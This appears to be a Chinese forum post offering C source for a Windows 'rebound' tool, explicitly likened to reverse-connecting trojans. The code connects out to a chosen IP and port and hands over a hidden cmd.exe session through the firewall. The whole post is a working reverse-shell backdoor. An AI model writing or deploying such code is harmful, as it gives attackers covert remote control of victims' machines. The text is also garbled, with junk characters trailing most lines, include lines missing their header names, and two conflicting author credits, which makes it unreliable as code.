这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .*Z]0~ &|
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/* ============================== E4{8 $:q=
Rebound port in Windows NT \,WPFV
By wind,2006/7 GM5::M]fS
===============================*/ GZ1>]HB>r^
#include ci!c7 ,'c
#include <D__17W:;
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#pragma comment(lib,"wsock32.lib") 5)vXmAD/0
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void OutputShell(); >,[(icyzn
SOCKET sClient; ReY K5J=O
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +$%o#~
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void main(int argc,char **argv) ms?h/*E<H
{ J-U}iU|
WSADATA stWsaData; Vrnx#j-U
int nRet; (efH>oY[
SOCKADDR_IN stSaiClient,stSaiServer; TCVJ[LbJ
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if(argc != 3) ?h{ &
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printf("Useage:\n\rRebound DestIP DestPort\n"); ;y"DEFs,u
return; t((0]j^
} vm(% u!_P
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WSAStartup(MAKEWORD(2,2),&stWsaData); :G!Kaa,r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]!/1qF
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stSaiClient.sin_family = AF_INET; I*X|pRD
stSaiClient.sin_port = htons(0); DV.m({?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @~"0|,6VC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P^
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{ yJ^}uw
printf("Bind Socket Failed!\n"); }{[F+|\>,e
return; P%1s6fjU
} xHf
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stSaiServer.sin_family = AF_INET; JLjx4B\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sV-9 xh)i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LB>!%Vx
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]1klfp,`
{ NJ|8##Z>
printf("Connect Error!"); GSk;~^l
return; -G{}8GM
} 5[0n'uH
OutputShell(); wL:3RZB
} 8^O|Aa$IF:
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void OutputShell() YYhRdU/g
{ GSypdEBj+w
char szBuff[1024]; $Q62
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SECURITY_ATTRIBUTES stSecurityAttributes; Mq$e5&/
OSVERSIONINFO stOsversionInfo; BsxQW`>^y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f;QWlh"9
STARTUPINFO stStartupInfo; s{gdTG6v`
char *szShell; -\>Xtix^-c
PROCESS_INFORMATION stProcessInformation; v,kedKcxv'
unsigned long lBytesRead; ~}uTC36C\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BwbvZfV|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4\t9(_
stSecurityAttributes.lpSecurityDescriptor = 0; daaurT
stSecurityAttributes.bInheritHandle = TRUE; p 5P<3(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Zd042
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Jcm"i~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d<xBI,g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @dGj4h.
stStartupInfo.wShowWindow = SW_HIDE; =*}|y;I
stStartupInfo.hStdInput = hReadPipe; R`Q9|yF\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J PmW0wM
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GetVersionEx(&stOsversionInfo); u" nyx0<
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switch(stOsversionInfo.dwPlatformId) !tN]OQ)'
{ Tf` ~=fg%
case 1: o[_{\
szShell = "command.com"; rqifjsv
break; s<n5^Vxy
default: [5>0om5
szShell = "cmd.exe";
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break; gwNv;g
} hV_0f_Og
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,myl9s
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send(sClient,szMsg,77,0); =Bl#CE)X
while(1) H~fZA)W 4Y
{ 5X'[{'i,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #k*e>d$
if(lBytesRead) &vo]l~.
{ ;4%^4<+3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Sa6}xe."M,
send(sClient,szBuff,lBytesRead,0); N_h)L`
} 2UA h^i-^
else flnoK%wi
{ n hS=t8H
lBytesRead=recv(sClient,szBuff,1024,0); |K7JU^"OQ
if(lBytesRead<=0) break; d.sxB}_O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C}%g(YRhb
} ^~?VD
} Jva&"}Cb
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return; 3}2'PC
}